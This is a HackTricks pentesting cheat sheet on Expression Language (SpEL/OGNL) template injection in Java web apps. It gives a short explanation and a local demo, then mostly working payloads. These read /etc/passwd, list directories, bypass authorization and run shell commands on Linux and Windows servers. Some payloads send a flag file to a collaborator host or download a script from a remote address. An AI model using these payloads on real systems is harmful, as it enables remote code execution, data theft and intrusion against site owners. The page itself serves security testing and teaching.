hacktricks/pentesting-web/ssti-server-side-template-injection/el-expression-language.md

# EL - Expression Language

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## Bsic Info

Expression Language (EL) is integral in JavaEE for bridging the presentation layer (e.g., web pages) and application logic (e.g., managed beans), enabling their interaction. It's predominantly used in:

- **JavaServer Faces (JSF)**: For binding UI components to backend data/actions.
- **JavaServer Pages (JSP)**: For data access and manipulation within JSP pages.
- **Contexts and Dependency Injection for Java EE (CDI)**: For facilitating web layer interaction with managed beans.

**Usage Contexts**:

- **Spring Framework**: Applied in various modules like Security and Data.
- **General Use**: Through SpEL API by developers in JVM-based languages like Java, Kotlin, and Scala.

EL's is present in JavaEE technologies, standalone environments, and recognizable through `.jsp` or `.jsf` file extensions, stack errors, and terms like "Servlet" in headers. However, its features and the use of certain characters can be version-dependent.

{% hint style="info" %}
Depending on the **EL version** some **features** might be **On** or **Off** and usually some **characters** may be **disallowed**.
{% endhint %}

## Basic Example

(You can find another interesting tutorial about EL in [https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/))

Download from the [**Maven**](https://mvnrepository.com) repository the jar files:

* `commons-lang3-3.9.jar`
* `spring-core-5.2.1.RELEASE.jar`
* `commons-logging-1.2.jar`
* `spring-expression-5.2.1.RELEASE.jar`

And create a the following `Main.java` file:

```java
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class Main {
    public static ExpressionParser PARSER;

    public static void main(String[] args) throws Exception {
        PARSER = new SpelExpressionParser();

        System.out.println("Enter a String to evaluate:");
        java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
        String input = stdin.readLine();
        Expression exp = PARSER.parseExpression(input);
        String result = exp.getValue().toString();
        System.out.println(result);
    }
}
```

Next compile the code (if you don't have `javac` installed, install `sudo apt install default-jdk`):

```java
javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java
```

Execute the application with:

```java
java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
Enter a String to evaluate:
{5*5}
[25]
```

Note how in the previous example the term `{5*5}` was **evaluated**.

## **CVE Based Tutorial**

Check it in **this post: [https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)**

## Payloads

### Basic actions

```bash
#Basic string operations examples
{"a".toString()}
[a]

{"dfd".replace("d","x")}
[xfx]

#Access to the String class
{"".getClass()}
[class java.lang.String]

#Access ro the String class bypassing "getClass"
#{""["class"]}

#Access to arbitrary class
{"".getClass().forName("java.util.Date")}
[class java.util.Date]

#List methods of a class
{"".getClass().forName("java.util.Date").getMethods()[0].toString()}
[public boolean java.util.Date.equals(java.lang.Object)]
```

### Detection

* Burp detection

```bash
gk6q${"zkz".toString().replace("k", "x")}doap2
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
```

* J2EE detection

```bash
#J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
```

* Sleep 10 secs

```bash
#Blind detection vector (sleep during 10 seconds)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}
```

### Remote File Inclusion

```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd
```

### Directory Listing

```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=..
```

### RCE

* Basic RCE **explanation**

```bash
#Check the method getRuntime is there
{"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}
[public static java.lang.Runtime java.lang.Runtime.getRuntime()]

#Execute command (you won't see the command output in the console)
{"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")}
[Process[pid=10892, exitValue=0]]

#Execute command bypassing "getClass"
#{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <instance>.burpcollaborator.net")}

# With HTMl entities injection inside the template
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
```

* RCE **linux**

```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
```

* RCE **Windows** (not tested)

```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
```

* **More RCE**

```java
// Common RCE payloads
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()

// Method using Runtime via getDeclaredConstructors
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
#{session.getAttribute("rtc").setAccessible(true)}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}

// Method using processbuilder
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/k")}
${request.getAttribute("c").add("ping x.x.x.x")}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
${request.getAttribute("a")}

// Method using Reflection & Invoke
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}

// Method using ScriptEngineManager one-liner
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}

// Method using ScriptEngineManager
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");

//https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt
(T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd "+T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))+"c "+T(java.lang.String).valueOf(new char[]{T(java.lang.Character).toChars(100)[0],T(java.lang.Character).toChars(105)[0],T(java.lang.Character).toChars(114)[0]})).getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()))
T(java.lang.System).getenv()[0]
T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')
T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream())
''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')
```

### Inspecting the environment

* `applicationScope` - global application variables
* `requestScope` - request variables
* `initParam` - application initialization variables
* `sessionScope` - session variables
* `param.X` - param value where X is the name of a http parameter

You will need to cast this variables to String like:

```bash
${sessionScope.toString()}
```

#### Authorization bypass example

```bash
${pageContext.request.getSession().setAttribute("admin", true)}
```

The application can also use custom variables like:

```bash
${user}
${password}
${employee.FirstName}
```

## WAF Bypass

Check [https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/)

## References

* [https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/](https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/)
* [https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools)
* [https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt)

<details>

<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).

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